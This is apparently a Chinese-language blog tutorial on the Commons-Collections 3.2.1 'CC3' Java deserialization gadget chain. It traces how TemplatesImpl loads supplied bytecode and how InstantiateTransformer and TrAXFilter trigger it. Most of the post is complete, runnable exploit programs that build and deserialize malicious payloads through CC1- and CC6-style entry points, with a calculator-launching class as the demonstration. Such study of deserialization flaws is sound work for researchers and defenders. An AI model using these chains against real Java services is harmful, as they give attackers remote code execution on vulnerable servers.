Featured image of post CC3链

CC3链

CC3链

CC3与CC1和CC6不同的地方在于,他是通过动态加载字节码来实现的,而后面两条链是通过 Runtime.exec() 进行命令执行的,容易被ban

构建环境

jdk8u65

Commons-Collections 3.2.1

TemplatesImpl 解析

我们知道TemplatesImpl是⼀个可以加载字节码的类,通过调用其newTransformer()方法,即可执行这段字节码的类构造器

CC1 链的 TemplatesImpl 的实现方式

其实只需要把InvokerTransformer执行的方法改为TemplatesImplnewTransformer()方法

也就是把

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

改成

1
2
3
4
Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null, null)
    };

这里的templates就是我们前下留在本地待加载的字节码,见类的动态加载那一节

完整的exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com.cc3test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Test03 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","calc");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
//        templatesImpl.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templatesImpl),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","hajimi");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationconstructor =  c.getDeclaredConstructor(Class.class,Map.class);
        annotationconstructor.setAccessible(true);
        Object o = annotationconstructor.newInstance(Target.class, transformedmap);
        serialize(o);
        unserialize("ser.bin");
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}

LazyMap那种CC1也是一样的,就只有一个部分更改了

CC6 链的 TemplatesImpl 的实现方式

同样的原理,上CC6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.cc3test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Test04 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","calc");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
//        templatesImpl.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templatesImpl),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry t = new TiedMapEntry(lazymap, "key");
        HashMap<Object, Object> finalmap = new HashMap<>();
        finalmap.put(t, "value");
        lazymap.remove("key");
        Class c = LazyMap.class;
        Field f = c.getDeclaredField("factory");
        f.setAccessible(true);
        f.set(lazymap,chainedTransformer);
        serialize(finalmap);
        unserialize("ser.bin");
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}

CC3链分析

既然是类的加载,我们直接跟进ClassLoader类里面的defineClass,然后查找用法

image-20250729192757231

找到TemlatesImpl

然后一步步查看用法,找到public类型的,发现getTransletInstance是有一个实例化操作的,因为我们想要通过类加载来实现RCE,不仅要动态加载,还需要实例化

image-20250729193137736

而另外两个方法都是直接返回原来对象

往上跟进,发现是newTransformer方法调用了这个getTransletInstance方法

image-20250729194116893

然后后面的内容就在类的动态加载这里说明过了

然后就是查看谁调用了newTransformer

image-20250729200730450

找到TrAXFilter这个类,看看构造器

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

发现构造器里面调用了newTransformer方法,也是可以直接触发的,但是这个类本身没有继承Serializable接口,所以没办法序列化

我们回到yso里面看看他的CC3怎么实现的

首先看到Transformer数组不一样了,不是跟我们一样的InvokerTransformer

1
2
3
4
5
final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(TrAXFilter.class),
				new InstantiateTransformer(
						new Class[] { Templates.class },
						new Object[] { templatesImpl } )};

而是InstantiateTransformer类,我们跟进去看看,找到tranform方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

发现他可以调用构造器,那我们正好可以用这个来调用TrAXFilter类的构造器,从而调用newTransformer方法然后触发链子

1
2
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});
instantiateTransformer.transform(TrAXFilter.class);

然后其实就能执行了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.cc3test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Test05 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","calc");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});
        instantiateTransformer.transform(TrAXFilter.class);
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
}

CC1作为前半部分

这里需要注意的是我们仍然用了Transformer数组的形式来,是因为CC1链之前老问题,setValue方法的参数不可控,需要ConstantTransformer来固定为TrAXFilter,然后才会触发

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package com.cc3test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Test05 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","calc");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","hajimi");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationconstructor =  c.getDeclaredConstructor(Class.class,Map.class);
        annotationconstructor.setAccessible(true);
        Object o = annotationconstructor.newInstance(Target.class, transformedmap);
        serialize(o);
        unserialize("ser.bin");
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}

CC6作为前半部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package com.cc3test;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Test05 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\TemplateClassLoader\\calcTest.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl,"_name","calc");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code});
        setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry t = new TiedMapEntry(lazymap, "key");
        HashMap<Object, Object> finalmap = new HashMap<>();
        finalmap.put(t, "value");
        lazymap.remove("key");
        Class c = LazyMap.class;
        Field f = c.getDeclaredField("factory");
        f.setAccessible(true);
        f.set(lazymap,chainedTransformer);
        serialize(finalmap);
        unserialize("ser.bin");
    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(target,value);
    }
    //定义序列化方法
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(o);
    }
    //定义反序列化方法
    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(Filename));
        Object o = in.readObject();
        return o;
    }
}
使用 Hugo 构建
主题 StackJimmy 设计